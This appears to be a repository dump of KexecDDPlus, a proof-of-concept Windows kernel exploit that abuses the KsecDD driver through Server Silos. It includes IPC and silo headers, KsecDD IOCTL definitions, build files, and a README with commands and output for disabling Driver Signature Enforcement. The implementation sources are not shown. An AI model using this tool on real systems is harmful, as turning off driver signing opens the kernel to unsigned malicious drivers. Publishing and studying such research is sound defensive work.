├── Common ├── IpcClient.h ├── IpcServer.h ├── ServerSilo.h ├── Common.vcxproj.filters ├── common.h ├── ipc.h ├── Common.vcxproj ├── KsecDD.h ├── IpcClient.cpp ├── KsecDD.cpp ├── IpcServer.cpp ├── ServerSilo.cpp ├── nt.h └── common.cpp ├── KexecDDPlus ├── KexecDDPlus.vcxproj.filters ├── KexecDDPlus.vcxproj └── KexecDDPlus.cpp ├── KexecDDPlus.sln ├── .gitattributes ├── README.md └── .gitignore /Common/IpcClient.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | class IpcClient 6 | { 7 | public: 8 | IpcClient(); 9 | ~IpcClient(); 10 | 11 | BOOL Connect(); 12 | BOOL Disconnect(); 13 | BOOL IsConnected(); 14 | BOOL SendPingRequest(); 15 | BOOL SendStopServerRequest(); 16 | BOOL SendQueryCiOptionsRequest(OUT PDWORD CiOptions); 17 | BOOL SendDisableCiRequest(); 18 | BOOL SendSetCiOptionsRequest(IN DWORD CiOptions); 19 | 20 | private: 21 | HANDLE m_hPipeHandle; 22 | LPBYTE m_pbIoBuffer; 23 | 24 | BOOL ConnectToNamedPipe(OUT PHANDLE PipeHandle); 25 | BOOL SendAndReceive(IN OUT LPBYTE IoBuffer, IN DWORD RequestSize, OUT PDWORD ResponseSize); 26 | }; -------------------------------------------------------------------------------- /Common/IpcServer.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "KsecDD.h" 4 | #include 5 | 6 | class IpcServer 7 | { 8 | public: 9 | IpcServer(); 10 | ~IpcServer(); 11 | 12 | BOOL Listen(); 13 | BOOL ListenInThread(OUT PHANDLE ThreadHandle); 14 | BOOL Stop(); 15 | BOOL IsInitialized() const; 16 | BOOL SetKsecClient(IN KsecDD* Ksec); 17 | 18 | private: 19 | HANDLE m_hPipeHandle; 20 | LPBYTE m_pbIoBuffer; 21 | BOOL m_bIsInitialized; 22 | BOOL m_bStopServer; 23 | KsecDD* m_ksecClient; 24 | 25 | BOOL CreateCustomNamedPipe(OUT PHANDLE PipeHandle, IN BOOL Async); 26 | BOOL ProcessRequest(IN OUT LPBYTE IoBuffer, OUT PDWORD ResponseSize); 27 | BOOL DoPing(IN OUT LPBYTE IoBuffer, OUT PDWORD ResponseSize); 28 | BOOL DoStopServer(IN OUT LPBYTE IoBuffer, OUT PDWORD ResponseSize); 29 | BOOL DoQueryCiOptions(IN OUT LPBYTE IoBuffer, OUT PDWORD ResponseSize); 30 | BOOL DoDisableCi(IN OUT LPBYTE IoBuffer, OUT PDWORD ResponseSize); 31 | BOOL DoSetCiOptions(IN OUT LPBYTE IoBuffer, OUT PDWORD ResponseSize); 32 | 33 | static DWORD WINAPI ListenThread(IN LPVOID lpParameter); 34 | }; -------------------------------------------------------------------------------- /Common/ServerSilo.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | class ServerSilo 6 | { 7 | public: 8 | ServerSilo(); 9 | ~ServerSilo(); 10 | 11 | HANDLE GetHandle() const; 12 | LPWSTR GetRootDirectory() const; 13 | BOOL IsInitialized() const; 14 | 15 | private: 16 | HANDLE m_hServerSilo; 17 | HANDLE m_hDeleteEvent; 18 | LPWSTR m_pwszRootDirectory; 19 | BOOL m_bIsInitialized; 20 | 21 | BOOL CreateJob(OUT PHANDLE Job, IN ACCESS_MASK Access); 22 | BOOL SetLimitFlags(IN HANDLE Job, IN DWORD Flags); 23 | BOOL ConvertJobToSilo(IN HANDLE Job); 24 | BOOL AssignProcess(IN HANDLE Job, IN HANDLE Process); 25 | BOOL SetRootDirectory(IN HANDLE Job, IN DWORD RootDirectoryFlags); 26 | BOOL CreateSilo(OUT PHANDLE Silo); 27 | BOOL SetSystemRoot(IN HANDLE Job, IN OPTIONAL LPCWSTR SystemRoot); 28 | BOOL QueryRootDirectory(IN HANDLE Job, OUT LPWSTR* RootDirectory); 29 | BOOL CreateDeviceDirectory(IN LPWSTR RootDirectory); 30 | BOOL Initialize(IN HANDLE Job, IN HANDLE DeleteEvent); 31 | BOOL Terminate(IN HANDLE Job, IN NTSTATUS ExitStatus); 32 | BOOL Close(IN HANDLE Job); 33 | }; -------------------------------------------------------------------------------- /KexecDDPlus/KexecDDPlus.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | 26 | 27 | Header Files 28 | 29 | 30 | -------------------------------------------------------------------------------- /KexecDDPlus.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.11.35222.181 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "KexecDDPlus", "KexecDDPlus\KexecDDPlus.vcxproj", "{F59FED04-9631-49CC-9F73-2DE2478A8EED}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Common", "Common\Common.vcxproj", "{778EB295-BF7A-4ECB-889F-BA23A8FC409A}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|x64 = Debug|x64 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {F59FED04-9631-49CC-9F73-2DE2478A8EED}.Debug|x64.ActiveCfg = Debug|x64 17 | {F59FED04-9631-49CC-9F73-2DE2478A8EED}.Debug|x64.Build.0 = Debug|x64 18 | {F59FED04-9631-49CC-9F73-2DE2478A8EED}.Release|x64.ActiveCfg = Release|x64 19 | {F59FED04-9631-49CC-9F73-2DE2478A8EED}.Release|x64.Build.0 = Release|x64 20 | {778EB295-BF7A-4ECB-889F-BA23A8FC409A}.Debug|x64.ActiveCfg = Debug|x64 21 | {778EB295-BF7A-4ECB-889F-BA23A8FC409A}.Debug|x64.Build.0 = Debug|x64 22 | {778EB295-BF7A-4ECB-889F-BA23A8FC409A}.Release|x64.ActiveCfg = Release|x64 23 | {778EB295-BF7A-4ECB-889F-BA23A8FC409A}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {5772D6F4-B5B5-4DE3-B603-38A661F73CB3} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /Common/Common.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Header Files 20 | 21 | 22 | Header Files 23 | 24 | 25 | Header Files 26 | 27 | 28 | Header Files 29 | 30 | 31 | Header Files 32 | 33 | 34 | Header Files 35 | 36 | 37 | 38 | 39 | Source Files 40 | 41 | 42 | Source Files 43 | 44 | 45 | Source Files 46 | 47 | 48 | Source Files 49 | 50 | 51 | -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /Common/common.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "nt.h" 4 | #include 5 | #include 6 | 7 | #define PAGE_SIZE 0x1000 8 | #define WIDEH(x) L##x 9 | #define WIDE(x) WIDEH(x) 10 | #define PRINT_VERBOSE_FORMAT_A(f) "[*][%s] " f 11 | #define PRINT_VERBOSE_FORMAT_U(f) WIDE(PRINT_VERBOSE_FORMAT_A(f)) 12 | #define PRINT_VERBOSE_A(format, ...) if (g_bPrintVerbose) { printf( PRINT_VERBOSE_FORMAT_A(format), __FUNCTION__, __VA_ARGS__ ); } 13 | #define PRINT_VERBOSE(format, ...) if (g_bPrintVerbose) { wprintf( PRINT_VERBOSE_FORMAT_U(format), WIDE(__FUNCTION__), __VA_ARGS__ ); } 14 | #define PRINT_ERROR_FORMAT_A(f) "[-][%s] " f 15 | #define PRINT_ERROR_FORMAT_U(f) WIDE(PRINT_ERROR_FORMAT_A(f)) 16 | #define PRINT_ERROR_A(format, ...) printf( PRINT_ERROR_FORMAT_A(format), __FUNCTION__, __VA_ARGS__ ) 17 | #define PRINT_ERROR(format, ...) wprintf( PRINT_ERROR_FORMAT_U(format), WIDE(__FUNCTION__), __VA_ARGS__ ) 18 | #define PRINT_ERROR_WIN32(func) { PRINT_ERROR( "%ws failed, err=%d - ", func, GetLastError()); Common::PrintSystemError(GetLastError()); } 19 | #define PRINT_ERROR_NT(func, status) { PRINT_ERROR( "%ws failed, err=0x%08x (%d) - ", func, status, RtlNtStatusToDosError(status)); Common::PrintSystemError(RtlNtStatusToDosError(status)); } 20 | #define PRINT_WARNING_FORMAT_A(f) "[!] " f 21 | #define PRINT_WARNING_FORMAT_U(f) WIDE(PRINT_WARNING_FORMAT_A(f)) 22 | #define PRINT_WARNING_A(format, ...) printf( PRINT_WARNING_FORMAT_A(format), __VA_ARGS__ ) 23 | #define PRINT_WARNING(format, ...) wprintf( PRINT_WARNING_FORMAT_U(format), __VA_ARGS__ ) 24 | #define PRINT_SUCCESS_FORMAT_A(f) "[+] " f 25 | #define PRINT_SUCCESS_FORMAT_U(f) WIDE(PRINT_SUCCESS_FORMAT_A(f)) 26 | #define PRINT_SUCCESS_A(format, ...) printf( PRINT_SUCCESS_FORMAT_A(format), __VA_ARGS__ ) 27 | #define PRINT_SUCCESS(format, ...) wprintf( PRINT_SUCCESS_FORMAT_U(format), __VA_ARGS__ ) 28 | 29 | extern BOOL g_bPrintVerbose; 30 | 31 | namespace Common 32 | { 33 | class ImageSectionHeaderInfo 34 | { 35 | public: 36 | CHAR Name[9]; 37 | DWORD VirtualAddress; 38 | DWORD VirtualSize; 39 | DWORD Characteristics; 40 | }; 41 | 42 | VOID PrintSystemError(_In_ DWORD ErrorCode); 43 | LPVOID Alloc(_In_ SIZE_T Size); 44 | BOOL Free(_In_ LPVOID Mem); 45 | 46 | BOOL FindKernelModuleBaseAddress(_In_ LPCSTR ModuleName, _Inout_ PULONG_PTR ModuleAddress); 47 | BOOL EnumModuleSections(_In_ HMODULE Module, _Inout_ std::vector& SectionList); 48 | BOOL FindModuleSection(_In_ HMODULE Module, _In_ LPCSTR SectionName, _Inout_ ImageSectionHeaderInfo& Section); 49 | BOOL IsWritableAddress(_In_ HMODULE Module, _In_ ULONG_PTR Address); 50 | BOOL FindPatternOffset(_In_ LPVOID Buffer, _In_ DWORD BufferSize, _In_ PBYTE Pattern, _In_ DWORD PatternSize, _Out_ PDWORD PatternOffset); 51 | BOOL FindGadgetOffset(_In_ LPCWSTR Module, _In_ PBYTE Gadget, _In_ DWORD GadgetSize, _Out_ PDWORD GadgetOffset); 52 | BOOL FindCiOptionsOffset(_Out_ PDWORD Offset); 53 | 54 | BOOL EnablePrivilege(_In_opt_ HANDLE Token, _In_ LPCWSTR Privilege); 55 | BOOL QueryServiceProcessId(_In_ LPCWSTR Service, _Out_ PDWORD ProcessId); 56 | BOOL OpenServiceToken(_In_ LPCWSTR Service, _Out_ PHANDLE Token); 57 | BOOL ImpersonateToken(_In_ HANDLE Token); 58 | BOOL RevertImpersonation(); 59 | 60 | BOOL ForkProcessIntoServerSilo(_In_ HANDLE ServerSilo, _Out_ LPPROCESS_INFORMATION ProcessInformation); 61 | } -------------------------------------------------------------------------------- /Common/ipc.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "common.h" 4 | #include 5 | 6 | #define IPC_NAMED_PIPE_NAME L"KexecDDPlus" 7 | 8 | enum class MessageType 9 | { 10 | Ping = 1, 11 | StopServer, 12 | QueryCiOptions, 13 | DisableCi, 14 | SetCiOptions, 15 | MaxValue, 16 | }; 17 | 18 | typedef struct _IPC_REQUEST_HEADER 19 | { 20 | DWORD Type; 21 | } IPC_REQUEST_HEADER, *PIPC_REQUEST_HEADER; 22 | static_assert(sizeof(IPC_REQUEST_HEADER) < PAGE_SIZE, L"The size of IPC_REQUEST_HEADER is greater than PAGE_SIZE."); 23 | 24 | typedef struct _IPC_RESPONSE_HEADER 25 | { 26 | DWORD Type; 27 | BOOL Result; 28 | DWORD Status; 29 | } IPC_RESPONSE_HEADER, *PIPC_RESPONSE_HEADER; 30 | static_assert(sizeof(IPC_RESPONSE_HEADER) < PAGE_SIZE, L"The size of IPC_RESPONSE_HEADER is greater than PAGE_SIZE."); 31 | 32 | typedef struct _IPC_REQUEST_PING 33 | { 34 | IPC_REQUEST_HEADER Header; 35 | WCHAR Message[5]; 36 | } IPC_REQUEST_PING, *PIPC_REQUEST_PING; 37 | static_assert(sizeof(IPC_REQUEST_PING) < PAGE_SIZE, L"The size of IPC_REQUEST_PING is greater than PAGE_SIZE."); 38 | 39 | typedef struct _IPC_RESPONSE_PING 40 | { 41 | IPC_RESPONSE_HEADER Header; 42 | WCHAR Message[5]; 43 | } IPC_RESPONSE_PING, *PIPC_RESPONSE_PING; 44 | static_assert(sizeof(IPC_RESPONSE_PING) < PAGE_SIZE, L"The size of IPC_RESPONSE_PING is greater than PAGE_SIZE."); 45 | 46 | typedef struct _IPC_REQUEST_STOP_SERVER 47 | { 48 | IPC_REQUEST_HEADER Header; 49 | } IPC_REQUEST_STOP_SERVER, *PIPC_REQUEST_STOP_SERVER; 50 | static_assert(sizeof(IPC_REQUEST_STOP_SERVER) < PAGE_SIZE, L"The size of IPC_REQUEST_STOP_SERVER is greater than PAGE_SIZE."); 51 | 52 | typedef struct _IPC_RESPONSE_STOP_SERVER 53 | { 54 | IPC_RESPONSE_HEADER Header; 55 | } IPC_RESPONSE_STOP_SERVER, *PIPC_RESPONSE_STOP_SERVER; 56 | static_assert(sizeof(IPC_RESPONSE_STOP_SERVER) < PAGE_SIZE, L"The size of IPC_RESPONSE_STOP_SERVER is greater than PAGE_SIZE."); 57 | 58 | typedef struct _IPC_REQUEST_QUERY_CI_OPTIONS 59 | { 60 | IPC_REQUEST_HEADER Header; 61 | } IPC_REQUEST_QUERY_CI_OPTIONS, *PIPC_REQUEST_QUERY_CI_OPTIONS; 62 | static_assert(sizeof(IPC_REQUEST_QUERY_CI_OPTIONS) < PAGE_SIZE, L"The size of IPC_REQUEST_QUERY_CI_OPTIONS is greater than PAGE_SIZE."); 63 | 64 | typedef struct _IPC_RESPONSE_QUERY_CI_OPTIONS 65 | { 66 | IPC_RESPONSE_HEADER Header; 67 | DWORD CiOptions; 68 | } IPC_RESPONSE_QUERY_CI_OPTIONS, *PIPC_RESPONSE_QUERY_CI_OPTIONS; 69 | static_assert(sizeof(IPC_RESPONSE_QUERY_CI_OPTIONS) < PAGE_SIZE, L"The size of IPC_RESPONSE_QUERY_CI_OPTIONS is greater than PAGE_SIZE."); 70 | 71 | typedef struct _IPC_REQUEST_DISABLE_CI 72 | { 73 | IPC_REQUEST_HEADER Header; 74 | } IPC_REQUEST_DISABLE_CI, *PIPC_REQUEST_DISABLE_CI; 75 | static_assert(sizeof(IPC_REQUEST_DISABLE_CI) < PAGE_SIZE, L"The size of IPC_REQUEST_DISABLE_CI is greater than PAGE_SIZE."); 76 | 77 | typedef struct _IPC_RESPONSE_DISABLE_CI 78 | { 79 | IPC_RESPONSE_HEADER Header; 80 | } IPC_RESPONSE_DISABLE_CI, *PIPC_RESPONSE_DISABLE_CI; 81 | static_assert(sizeof(IPC_RESPONSE_DISABLE_CI) < PAGE_SIZE, L"The size of IPC_RESPONSE_DISABLE_CI is greater than PAGE_SIZE."); 82 | 83 | typedef struct _IPC_REQUEST_SET_CI_OPTIONS 84 | { 85 | IPC_REQUEST_HEADER Header; 86 | DWORD CiOptions; 87 | } IPC_REQUEST_SET_CI_OPTIONS, *PIPC_REQUEST_SET_CI_OPTIONS; 88 | static_assert(sizeof(IPC_REQUEST_SET_CI_OPTIONS) < PAGE_SIZE, L"The size of IPC_REQUEST_SET_CI_OPTIONS is greater than PAGE_SIZE."); 89 | 90 | typedef struct _IPC_RESPONSE_SET_CI_OPTIONS 91 | { 92 | IPC_RESPONSE_HEADER Header; 93 | } IPC_RESPONSE_SET_CI_OPTIONS, *PIPC_RESPONSE_SET_CI_OPTIONS; 94 | static_assert(sizeof(IPC_RESPONSE_SET_CI_OPTIONS) < PAGE_SIZE, L"The size of IPC_RESPONSE_SET_CI_OPTIONS is greater than PAGE_SIZE."); 95 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # KexecDDPlus 2 | 3 | This proof-of-concept is the result of a research project that aimed at extending the work of [@floesen_](https://x.com/floesen_) on the KsecDD Windows driver. 4 | 5 | It relies on Server Silos to access the KsecDD driver directly, without having to inject code into LSASS. This capability therefore allows it to operate even on systems on which LSA Protection is enabled. 6 | 7 | For more information, please check out our blog post [Exploiting KsecDD through Server Silos](https://blog.scrt.ch/2024/11/11/exploiting-ksecdd-through-server-silos/), and the links in the [Credits](#credits) section. 8 | 9 | **Tested on:** 10 | 11 | - Windows 11 23H2 (OS Build 22631.4317) 12 | - Windows 11 23H2 (OS Build 22631.3380) 13 | - Windows 10 22H2 (OS Build 19045.5011) 14 | - Windows 10 22H2 (OS Build 19045.4894) 15 | 16 | ## Disclaimer 17 | 18 | > [!CAUTION] 19 | > This PoC can only be executed **4 times**, before crashing the kernel! 20 | 21 | Due to the way the IOCTL `IOCTL_KSEC_IPC_SET_FUNCTION_RETURN` is handled by the KsecDD driver, this PoC can only be used 4 times. At the 5th execution, the driver will attempt to free the user-supplied buffer as if it were allocated in a kernel pool. This operation is invalid, and therefore will cause a Bug Check, *a.k.a.* a Blue Screen. To run the exploit again, without crashing the kernel, a machine reboot will be required. 22 | 23 | ## Usage 24 | 25 | ```console 26 | C:\Temp>KexecDDPlus.exe 27 | 28 | Usage: 29 | KexecDDPlus.exe [] 30 | 31 | Query the CI options value: 32 | KexecDDPlus.exe queryci 33 | Set the CI options value to 0: 34 | KexecDDPlus.exe disableci 35 | Set the CI options value: 36 | KexecDDPlus.exe setci 37 | ``` 38 | 39 | **Query the CI options value** 40 | 41 | ```console 42 | C:\Temp>KexecDDPlus.exe queryci 43 | [+] Silo created and initialized (path is \Silos\764). 44 | [+] Process forked (child pid is 2740). 45 | [+] Connected to child process! 46 | [+] Query CiOptions request OK, current value is: 0x00000006 47 | All done. 48 | ``` 49 | 50 | **Disable Driver Signature Enforcement (DSE) - Set CI options to 0** 51 | 52 | ```console 53 | C:\Temp>KexecDDPlus.exe disableci 54 | [+] Silo created and initialized (path is \Silos\768). 55 | [+] Process forked (child pid is 5396). 56 | [+] Connected to child process! 57 | [+] Disable CI request OK 58 | All done. 59 | ``` 60 | 61 | **Set the value of CI options** 62 | 63 | ```console 64 | C:\Temp>KexecDDPlus.exe setci 6 65 | [+] Silo created and initialized (path is \Silos\772). 66 | [+] Process forked (child pid is 9012). 67 | [+] Connected to child process! 68 | [+] Set CiOptions request OK 69 | All done. 70 | ``` 71 | 72 | ## Authors 73 | 74 | - Clément Labro 75 | - Mastodon: [https://infosec.exchange/@itm4n](https://infosec.exchange/@itm4n) 76 | - GitHub: [https://github.com/itm4n](https://github.com/itm4n) 77 | - Romain Melchiorre 78 | - Twitter/X: [https://x.com/PMa1n](https://x.com/PMa1n) 79 | - Mastodon: [https://infosec.exchange/@pmain](https://infosec.exchange/@pmain) 80 | - GitHub: [https://github.com/PMain](https://github.com/PMain) 81 | 82 | ## Credits 83 | 84 | - [@floesen_](https://x.com/floesen_) - [KExecDD](https://github.com/floesen/KExecDD) 85 | - Claudio Contin - [LSASS rings KsecDD ext. 0](https://tierzerosecurity.co.nz/2024/04/29/kexecdd.html) 86 | - James Forshaw ([@tiraniddo](https://infosec.exchange/@tiraniddo)) - [NtObjectManager](https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools) 87 | - Lucas Di Martino - [Reversing Windows Container, episode I: Silo](https://blog.quarkslab.com/reversing-windows-container-episode-i-silo.html) 88 | - Lucas Di Martino - [Reversing Windows Container, episode II: Silo to Server Silo](https://blog.quarkslab.com/reversing-windows-container-part-ii-silo-to-server-silo.html) 89 | - Axel Souchet ([@0vercl0k](https://twitter.com/0vercl0k)) - [rp++](https://github.com/0vercl0k/rp) 90 | -------------------------------------------------------------------------------- /KexecDDPlus/KexecDDPlus.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | x64 7 | 8 | 9 | Release 10 | x64 11 | 12 | 13 | 14 | 17.0 15 | Win32Proj 16 | {f59fed04-9631-49cc-9f73-2de2478a8eed} 17 | KexecDDPlus 18 | 10.0 19 | 20 | 21 | 22 | Application 23 | true 24 | v143 25 | Unicode 26 | 27 | 28 | Application 29 | false 30 | v143 31 | true 32 | Unicode 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | Level3 49 | true 50 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 51 | true 52 | ..\Common 53 | 54 | 55 | Console 56 | false 57 | %(AdditionalDependencies) 58 | 59 | 60 | 61 | 62 | Level3 63 | true 64 | true 65 | true 66 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 67 | true 68 | ..\Common 69 | MultiThreaded 70 | 71 | 72 | Console 73 | true 74 | true 75 | false 76 | %(AdditionalDependencies) 77 | %(AdditionalLibraryDirectories) 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | {778eb295-bf7a-4ecb-889f-ba23a8fc409a} 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | -------------------------------------------------------------------------------- /Common/Common.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | x64 7 | 8 | 9 | Release 10 | x64 11 | 12 | 13 | 14 | 17.0 15 | Win32Proj 16 | {778eb295-bf7a-4ecb-889f-ba23a8fc409a} 17 | Common 18 | 10.0 19 | 20 | 21 | 22 | StaticLibrary 23 | true 24 | v143 25 | Unicode 26 | 27 | 28 | StaticLibrary 29 | false 30 | v143 31 | true 32 | Unicode 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | Level3 49 | true 50 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 51 | true 52 | true 53 | 54 | 55 | Console 56 | true 57 | 58 | 59 | true 60 | 61 | 62 | 63 | 64 | Level3 65 | true 66 | true 67 | true 68 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 69 | true 70 | true 71 | MultiThreaded 72 | 73 | 74 | Console 75 | true 76 | true 77 | true 78 | 79 | 80 | true 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | -------------------------------------------------------------------------------- /Common/KsecDD.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | // ntddksec.h 6 | #define DD_KSEC_DEVICE_NAME_U L"\\Device\\KsecDD" 7 | #define IOCTL_KSEC_CONNECT_LSA CTL_CODE(FILE_DEVICE_KSEC, 0, METHOD_BUFFERED, FILE_WRITE_ACCESS ) // 0x398000 (KsecDispatch) 8 | #define IOCTL_KSEC_RNG CTL_CODE(FILE_DEVICE_KSEC, 1, METHOD_BUFFERED, FILE_ANY_ACCESS ) 9 | #define IOCTL_KSEC_RNG_REKEY CTL_CODE(FILE_DEVICE_KSEC, 2, METHOD_BUFFERED, FILE_ANY_ACCESS ) 10 | #define IOCTL_KSEC_ENCRYPT_MEMORY CTL_CODE(FILE_DEVICE_KSEC, 3, METHOD_OUT_DIRECT, FILE_ANY_ACCESS ) 11 | #define IOCTL_KSEC_DECRYPT_MEMORY CTL_CODE(FILE_DEVICE_KSEC, 4, METHOD_OUT_DIRECT, FILE_ANY_ACCESS ) 12 | #define IOCTL_KSEC_ENCRYPT_MEMORY_CROSS_PROC CTL_CODE(FILE_DEVICE_KSEC, 5, METHOD_OUT_DIRECT, FILE_ANY_ACCESS ) 13 | #define IOCTL_KSEC_DECRYPT_MEMORY_CROSS_PROC CTL_CODE(FILE_DEVICE_KSEC, 6, METHOD_OUT_DIRECT, FILE_ANY_ACCESS ) 14 | #define IOCTL_KSEC_ENCRYPT_MEMORY_SAME_LOGON CTL_CODE(FILE_DEVICE_KSEC, 7, METHOD_OUT_DIRECT, FILE_ANY_ACCESS ) 15 | #define IOCTL_KSEC_DECRYPT_MEMORY_SAME_LOGON CTL_CODE(FILE_DEVICE_KSEC, 8, METHOD_OUT_DIRECT, FILE_ANY_ACCESS ) 16 | #define IOCTL_KSEC_FIPS_GET_FUNCTION_TABLE CTL_CODE(FILE_DEVICE_KSEC, 9, METHOD_BUFFERED, FILE_ANY_ACCESS ) 17 | #define IOCTL_KSEC_ALLOC_POOL CTL_CODE(FILE_DEVICE_KSEC, 10, METHOD_BUFFERED, FILE_ANY_ACCESS ) // 0x390028 KsecIoctlAllocPool 18 | #define IOCTL_KSEC_FREE_POOL CTL_CODE(FILE_DEVICE_KSEC, 11, METHOD_BUFFERED, FILE_ANY_ACCESS ) // 0x39002c KsecIoctlFreePool 19 | #define IOCTL_KSEC_COPY_POOL CTL_CODE(FILE_DEVICE_KSEC, 12, METHOD_BUFFERED, FILE_ANY_ACCESS ) // 0x390030 KsecIoctlCopyPool 20 | #define IOCTL_KSEC_DUPLICATE_HANDLE CTL_CODE(FILE_DEVICE_KSEC, 13, METHOD_BUFFERED, FILE_ANY_ACCESS ) // 0x390034 KsecIoctlDupLsaHandle 21 | #define IOCTL_KSEC_REGISTER_EXTENSION CTL_CODE(FILE_DEVICE_KSEC, 14, METHOD_BUFFERED, FILE_ANY_ACCESS ) // 0x390038 KsecRegisterExtension 22 | #define IOCTL_KSEC_CLIENT_CALLBACK CTL_CODE(FILE_DEVICE_KSEC, 15, METHOD_BUFFERED, FILE_ANY_ACCESS ) // 0x39003c KsecIoctlClientCallback 23 | #define IOCTL_KSEC_GET_BCRYPT_EXTENSION CTL_CODE(FILE_DEVICE_KSEC, 16, METHOD_BUFFERED, FILE_ANY_ACCESS ) 24 | #define IOCTL_KSEC_GET_SSL_EXTENSION CTL_CODE(FILE_DEVICE_KSEC, 17, METHOD_BUFFERED, FILE_ANY_ACCESS ) 25 | #define IOCTL_KSEC_GET_DEVICECONTROL_EXTENSION CTL_CODE(FILE_DEVICE_KSEC, 18, METHOD_BUFFERED, FILE_ANY_ACCESS ) 26 | #define IOCTL_KSEC_ALLOC_VM CTL_CODE(FILE_DEVICE_KSEC, 19, METHOD_BUFFERED, FILE_ANY_ACCESS ) // 0x39004c KsecIoctlAllocVm 27 | #define IOCTL_KSEC_FREE_VM CTL_CODE(FILE_DEVICE_KSEC, 20, METHOD_BUFFERED, FILE_ANY_ACCESS ) // 0x390050 KsecIoctlFreeVm 28 | 